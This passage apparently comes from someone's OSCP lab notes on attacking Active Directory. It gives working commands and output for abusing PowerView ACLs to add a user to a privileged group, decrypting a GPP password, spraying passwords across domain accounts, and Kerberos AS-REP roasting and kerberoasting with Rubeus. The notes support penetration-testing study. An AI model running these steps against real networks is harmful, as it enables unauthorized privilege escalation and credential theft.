&amp;#39;YourAccount&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The above covers usage; below, query information and use the results for privilege escalation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View which ACEs apply to the current user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-ObjectAcl -Identity stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ActiveDirectoryRights : ReadProperty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectAceFlags : ObjectAceTypePresent&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InheritedObjectAceType : 00000000-0000-0000-0000-000000000000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BinaryLength : 56&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceQualifier : AccessAllowed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsCallback : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpaqueLength : 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AccessMask : 16&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceType : AccessAllowedObject&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsInherited : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InheritanceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PropagationFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AuditFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# In this example, the current SID is S-1-5-21-1987370270-658905905-1781884369-1104&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# S-1-5-21-1987370270-658905905-1781884369-553 grants us ReadProperty permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Next, identify the owner of this SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This shows which permissions SecurityIdentifier has over ObjectSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The example below queries who has full control over the &amp;#34;Management Department&amp;#34; group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-ObjectAcl -Identity &amp;#34;Management Department&amp;#34; | ? {$_.ActiveDirectoryRights -eq &amp;#34;GenericAll&amp;#34;} | select SecurityIdentifier,ActiveDirectoryRights&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SecurityIdentifier ActiveDirectoryRights&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------------------ ---------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-1987370270-658905905-1781884369-512 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-32-548 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-18 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-1987370270-658905905-1781884369-519 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; &amp;#34;S-1-5-21-1987370270-658905905-1781884369-512&amp;#34;,&amp;#34;S-1-5-21-1987370270-658905905-1781884369-1104&amp;#34;,&amp;#34;S-1-5-32-548&amp;#34;,&amp;#34;S-1-5-18&amp;#34;,&amp;#34;S-1-5-21-1987370270-658905905-1781884369-519&amp;#34; | Convert-SidToName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\Domain Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BUILTIN\Account Operators&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local System&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\Enterprise Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output above shows that stephanie, the current user, has full control over this group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This allows adding yourself or another user to the group and using the group&amp;#39;s permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; net group &amp;#34;Management Department&amp;#34; stephanie /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The request will be processed at a domain controller for domain corp.com.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The command completed successfully.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The current user was added above; query permissions to confirm membership&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Management Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; net group &amp;#34;Management Department&amp;#34; stephanie /del /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The request will be processed at a domain controller for domain corp.com.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The command completed successfully.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View group permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ObjectAcl -Identity &amp;#34;Management Department&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify these items, then remove them&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Management Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CN=jen,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; net group &amp;#34;Management Department&amp;#34; stephanie /del /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The request will be processed at a domain controller for domain corp.com.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The command completed successfully.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use PowerView again to verify that jen is the group&amp;#39;s only member:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Management Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CN=jen,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import PowerView again&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Find-DomainShare&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name Type Remark ComputerName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- ---- ------ ------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NETLOGON 0 Logon server share DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SYSVOL 0 Logon server share DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup 0 web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docshare 0 Documentation purposes FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Tools 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin client74.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share client74.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC client74.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharing 0 client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This shows many accessible SMB directories, but does not indicate read or write access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then perform the classic SYSVOL XML-file check&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This provides a convenient one-line command without the usual extra steps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gpp-decrypt &amp;#34;+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Next, inspect shares for non-default content, for example&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docshare&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Tools\Spray-Passwords.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It identifies domain users automatically and supports a single password or wordlist for brute forcing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Spray-Passwords.ps1 -Pass Nexus123! -Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Spray-Passwords.ps1 -File 1.txt -Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="89rubeus"&gt;&lt;a href="#89rubeus" class="header-anchor"&gt;&lt;/a&gt;89.Rubeus&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This failed every time in the OSCP lab, but it is still useful enough to note&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Transfer it to the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Perform AS-REP Roasting in one step, then use hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe asreproast /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find service-account tickets in one step, similar to GetUserSPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe kerberoast /outfile:hashes.kerberoast&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check the target service&amp;#39;s SPN when generating a ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L username&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="90lateral-movement-in-ad-some-great-ideas-from-oscp"&gt;&lt;a href="#90lateral-movement-in-ad-some-great-ideas-from-oscp" class="header-anchor"&gt;&lt;/a&gt;90.Lateral Movement in AD (Some Great Ideas from OSCP)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 